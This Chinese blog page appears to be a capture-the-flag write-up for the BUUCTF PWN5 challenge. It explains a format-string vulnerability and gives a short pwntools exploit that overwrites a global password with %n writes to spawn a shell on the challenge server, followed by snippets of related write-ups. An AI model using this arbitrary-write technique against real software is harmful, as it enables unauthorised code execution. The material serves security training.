BUUCTF 第五空间2019PWN5

buuctf——[第五空间2019 决赛]PWN5 1 查看文件权限 设置了canary,无法栈溢出。 F5查看源程序 源程序大意是把随机数放入到bss段的0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限。 解题思路 看到了printf,又加了canary权限,可以想到考查格式化字符串漏洞。可以更改0x804c044处的值,所以要精心构造一个合适的格式化字符串。构造的方法很多。 在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。 “AAAA”写在了第10个位子。构造: bss=0x804c044 payload=b 阅读详情

1.checksec+运行

32位/NX保护/canary保护

2.IDA进行中

1.main()函数

printf()函数 考虑格式化字符串漏洞

 通过0x61616161可以确定参数在第10个位置上

if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }

如何拿到binsh程序也给出了

直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell

跟进dword_804C044看看是什么情况

 

0x48-0x44

0x804c044/0x804c045/ 0x804c046/0x804c047

需要修改具体四个位置

对应的

%10$n%11$n%12$n%13$n

3.脚本

from pwn import*
#p=process('./8pwn5')
p=remote("node4.buuoj.cn",25682)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'

p.sendline(payload)
p.sendline(str(0x10101010))//交互需要发送四字节字符串
p.interactive()

避开地图定位偏差!手把手教你用Python实现火星坐标与WGS84精准转换 本文深入解析了国内地图服务中火星坐标(GCJ-02)与国际标准WGS84坐标系之间的偏差问题,并提供了基于Python的精准转换解决方案。文章详细阐述了坐标转换的核心原理,手把手教你构建可复用的转换工具包,并演示如何将其集成到实际应用(如Flask API)中,帮助开发者和数据分析师有效解决地图定位不准、多源数据无法对齐的痛点,提升地理信息处理能力。 阅读详情

相关推荐

Oracle EBS R12.2 安装 -- Step by Step

Oracle EBS R12.2 安装 -- Step by Step

Albert Tan DBA之路 1512

[ctfhub.pwn] 第12-14题

ctfhub.pwn习题集

weixin_52640415的博客 1494

STM32H743 ADC多通道采样实战:CubeMX配置+DMA传输避坑指南

本文详细介绍了STM32H743 ADC多通道采样的实战配置,包括CubeMX参数设置、DMA传输优化及常见问题解决方案。重点解析了ADC模块的核心特性、多通道采样序列配置、Cache一致性处理等关键技术,帮助开发者高效实现稳定可靠的模拟信号采集系统。

weixin_29175469的博客 611

[第五空间2019 决赛]PWN5

找到储存密码的地方为0x0804C044,我们一个字节一个字节的存入,所以不能是直接用0x0804C044,而是是用四个地址0x0804C044,0x0804C045,0x0804C046,0x0804C047,前面的四个构造地址总长度为4 * 4字节,构造b'%10$hhn%11$hhn%12$hhn%13$hhn', 单次打印%n = 0x00000010是小端序, 导致0x10在高字节, 连续四次打印都覆盖了前面的三个字节, 最终值为 0x10101010。

wp568的博客 239

解决Keil uVision许可证管理中Unknown Product错误

嵌入式开发中,IDE工具的许可证管理是确保开发环境正常运行的关键环节。Keil uVision作为ARM架构的主流开发工具,其许可证系统采用加密验证机制,通过产品版本识别实现授权控制。当出现Unknown Product错误时,通常源于版本兼容性问题或区域发行版差异,这直接影响开发工具链的可用性。特别是在维护历史项目或使用中国特供版时,开发者常会遇到此类问题。通过分析许可证类型、调整安装配置或建立虚拟化开发环境等工程实践方案,可以有效解决这类授权验证故障,保障嵌入式项目的持续集成与交付效率。

weixin_33743248的博客 363

【异常】claude : 无法将“claude”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径

如果claude方式1(临时):使用完整路径运行,比如:# Windows 批处理脚本示例 C:\你的脚本目录\claude . bat # PowerShell 脚本示例 C:\你的脚本目录\claude . ps1方式2(永久):将脚本所在文件夹添加到系统 PATH 环境变量(参考场景1的环境变量配置步骤),之后即可直接输入claude运行。错误核心原因:系统 PATH 环境变量中找不到claude对应的可执行文件/脚本。

奶爸的编程之路,也就一周冷个三天 3671

pwn练习题

程序分析:main函数中只存在system("/bin/sh")函数,所以nc可直接拿到权限)nc指令:远程连接对方服务器,对方服务器有什么程序就会执行什么程序nc(ip + 端口号)例如在已给的靶机信息node5.buuoj.cn:29650中node5.buuoj.cn是域名,冒号后的29650是端口号(注意冒号要改为空格)然后直接cat flag 即可。

WuMing_Z的博客 2959

21、空间数据处理中的克里金方法及应用

本文介绍了空间数据处理中的克里金方法,特别是带外部漂移的克里金法(KED)及其在遥感数据融合和支持变化问题中的应用。讨论了克里金方法的基本原理、优缺点以及在不同空间分辨率遥感图像融合中的具体操作流程。同时,还涉及了地统计数据融合和支持变化问题的解决方案,包括块克里金法、面到点克里金法和多边形克里金法等。

gold的博客 90

ctfshow web5 php,CTF练习——WEB(5)

1、never give up查看源代码,发现1p.html进入1p.html看看发现一串base64的密文,解密后直接去访问f4l2a3g.txtflag{tHis_iS_THe_fLaG}2、welcome to bugkuctf查看源代码分析一下代码1、三个传参2、$user存在且不能为空3、读取$user文件,内容为welcome to the bugkuctf4、$f...

weixin_39683172的博客 270

48、基于头部电信号和触觉的人机交互技术研究

本文探讨了基于头部电信号控制决策和触觉感知的人机交互技术。通过EEG信号采集与ANN模型(TDNN/PRNN)分析,实现对用户意图的识别;同时利用触觉传感接口识别操作员有意接触,提升人机协作安全性。研究涵盖系统设计、数据处理流程、实验结果及技术拓展方向,并展望了两种技术在工业、医疗与智能家居等领域的融合应用前景。

i1j2k的博客 102

小龙虾们的好伙伴专栏导航

本文系统解析了OpenClaw技术架构,包括Channel层和网关层的设计实现,并与AgentSkills等技术方案进行对比。同时提供了OpenClaw的系列实用指南,涵盖小龙虾培养、客户资源管理、系统自动化巡检以及技术趋势助手构建等应用场景,帮助用户从零成本入门到高效落地应用,实现业务全流程自动化管理。

wend的博客 212

BUUCTF-[第五空间2019 决赛]PWN5详解

BUUCTF-[第五空间2019 决赛]PWN5详解

2301_76794844的博客 1868

【SWAT】SWAT中预定义河网及流域

平原圩区没有明显的海拔差异。DEM中包含的地形信息无法定义河段的位置和水文连接,SWAT模型Watershed Delineator中提供两种方法,帮助用户输入流域拓扑信息。第一种方法,“Burn-in”和手动绘制河段和子流域边界。首先,使用“Burn-in”功能导入数字河道网络(DCN),并根据DEM和DCN绘制河流和子流域。然后在ArcGIS中编辑“流域”和“河段”层,可以调整位置、范围和水文连接。第二种方法,可以手动绘制或重新编辑河流和子流域,预定义河网及流域。

```On Earth, Be Water, By Coding``` 3273

BUUCTF PWN wp--[第五空间2019 决赛]PWN5

在这个上下文中,%10$n表示写入的值将是printf的第10个参数,但由于p32(0x804C044)没有在printf调用中作为参数,它实际上利用了格式化字符串漏洞,将栈上的某个值写入到地址0x804C044。p32函数将32位整数转换为其小端序的字符串表示,这里转换的是地址0x804C044,这个地址应该是之前提到的全局变量dword_804C044的地址。这个变量似乎是一个全局变量,其地址是硬编码的(例如,在ELF文件中,地址可能是一个固定的地址)。如果之前的利用成功,这将提供一个shell。

2302_81740139的博客 1220

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

BUUCTF 第五空间2019 pwn5

BUUCTF 第五空间2019 pwn5 程序分析 国际惯例checksec一下 然后打开IDA分析,IDA加载完过后,直接按F5,出现的是这些代码而不是main函数的代码 可以看到,有一个叫__libc_start_main的函数,它的参数中包含main函。程序执行时,并不是最先执行的main函数,在这之前还执行了很多初始化的代码,然后再使用__libc_start_main这个函数把main函数作为参数启动。(main函数执行完后也还会有代码执行)。 然后双击进main函数查看c语言伪代码 ...

qq_36995313的博客 965

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

BUUCTF-PWN题详解([第五空间2019 决赛]PWN5)

今天给大家带来的题用到了和之前不相同的方法,用到了格式化字符串。

2302_80325559的博客 1936

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

[BUUCTF]PWN——[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5 例行检查,32位,开启了canary保护和NX保护。 运行一下。 IDA打开,看到了/bin/sh,但开启了保护 查看主函数,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system 这里面的printf()存在格式化字符串漏洞 按我的理解就是输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的;如: %d 用于读取10进制数值 %x

BangSen1的博客 6923

Pwn篇-BUUCTF[第五空间2019 决赛]PWN5-格式化字符串漏洞

BUUCTF[第五空间2019 决赛]PWN5 简单的格式化字符串漏洞利用题目 程序保护 IDA分析 程序逻辑如下: unk_804c044为bss段地址,存储上面生成的4字节随机数。只要随机数和我们输入的passwd相等,则调用system("/bin/sh") 程序中有明显的格式化字符串漏洞,可以任意地址读写。 动态调试 GDB调试程序,计算偏移: 数得偏移为9,可以使用%9p来打印"aaaa"所在的地址 可以使用pwnlib中fmtstr_payload来自动构造payload,使用方法如

weixin_44644249的博客 443

BUUCTF [第五空间2019 决赛]PWN5 wp

显示 STACK CANARY 和 NX 开启,说明此题不可用简单直接的栈溢出来解决。(此题仅关注main函数即可,其他调用函数无直接提示)可以发现,main函数中存在指令的调用,向前分析 system 调用条件是输入的,但 dword_804C044 的内容是利用,并不固定,我们无法得知。不过main函数中出现了的调用,这是这一漏洞类型的关键标志:【printf函数的执行​:printf函数依据格式化字符串中的说明符(如%s、%d、%n)​从栈上按顺序获取参数。

AEJL叁的博客,欢迎关注! 1070

buuctf之[第五空间2019 决赛]PWN5

简单易懂~

weixin_54452942的博客 1012

BUUCTF [第五空间2019 决赛]PWN5

输入探测格式化字符串的payload,AAAA-%x-%x-%x-%x-%x,A的ASCII码值为65(0x41),因此是图中选中的段。通过 fmtstr_payload 将 dword_804C044 的内容替换为0x1,而非随机数。因为我们已经知道偏移量了,可以使用pwntools的 fmtstr_payload 函数。但是这次是将 dword_804C044 修改为任意值,然后再次输入此值即可获取shell。或者还有一个,AAAA-%p-%p-%p-%p-%p-%p,32位64位通用。

红叶的博客 2329

BUUCTF Pwn [第五空间2019 决赛]PWN5

BUUCTF Pwn [第五空间2019 决赛]PWN51.题目下载地址2.checksec2.IDA分析4.exp 1.题目下载地址 点击下载 2.checksec 开启了canary 没有PIE 2.IDA分析 查看主函数,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system 这里面的printf()存在格式化字符串漏洞 1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入

MrTreebook的博客 1157

[BUUCTF-pwn]——[第五空间2019 决赛]PWN5

[BUUCTF-pwn]——[第五空间2019 决赛]PWN5 题目地址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 题目: 这是一道格式化字符串的题,给大家讲解下 checksec一下看看, 开启了canary保护, 基本开启这个保护都会用到格式化字符串的漏洞。 在IDA中 利用pwndbg看看, 偏移是多少。 0xa也就是 10 思路 利用格式化字符串漏洞, 修改unk_804C044的值, 并且输入相等的值 exploit from p

Y_peak的博客 505

[BUUCTF]PWN10——[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5 题目网址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 步骤: 例行检查,32位,开启了nx和canary(栈保护) nc一下,看看程序大概的执行情况,可以看到当输入的长度过长的时候,他的回显会有点问题,猜测输出语句存在问题 32位ida载入,shift+f12查看一下程序里的字符串,看到了 /bin/sh 双击跟进,ctrl+x找到调用这个字符串的函数 关于格式化字符串详细的讲解,看这里 看文章感觉还是不是很

mcmuyanga的博客 1467

BUUCTF[[第五空间2019 决赛]PWN5]

checksec发现开启了栈溢出和栈不可执行的保护用ida打开观察函数我们可以发现存在格式化字符串漏洞:我们可以实现读取和写入的操作我们可以通过构造包含(打印栈内存),(打印字符串地址内容)等格式符的输入,读取观察函数发现我们需要输入与dword_804C044中相同的字符串才可以获取权限但是此处的dword_804C044是随机的,我们无法获取,于是通过格式化字符串来写入到dword_804C044来让其为我们已知的内容来获取权限。

2501_92612816的博客 464

【BUUCTF-PWN】7-[第五空间2019 决赛]PWN5

因此将正常的printf语句转为无参数的printf,即将参数放到格式化字符串前面构造payload,从而利用%n将前面的字符数写入到指定地址中,passwd的每个字节即写入地址中的值是p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)的长度,也就是4x4=16,二进制为0x10,所以passwd就是4个0x10拼接起来后的计算结果str(0x10101010)=269488144。32位小端排序,有栈溢出保护。存在格式化字符串漏洞。

燕麦葡萄干的博客 713
上一篇: BUUCTF PWN get_started_3dsctf_2016
下一篇: BUUCTF PWN OGeek2019 babyrop
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值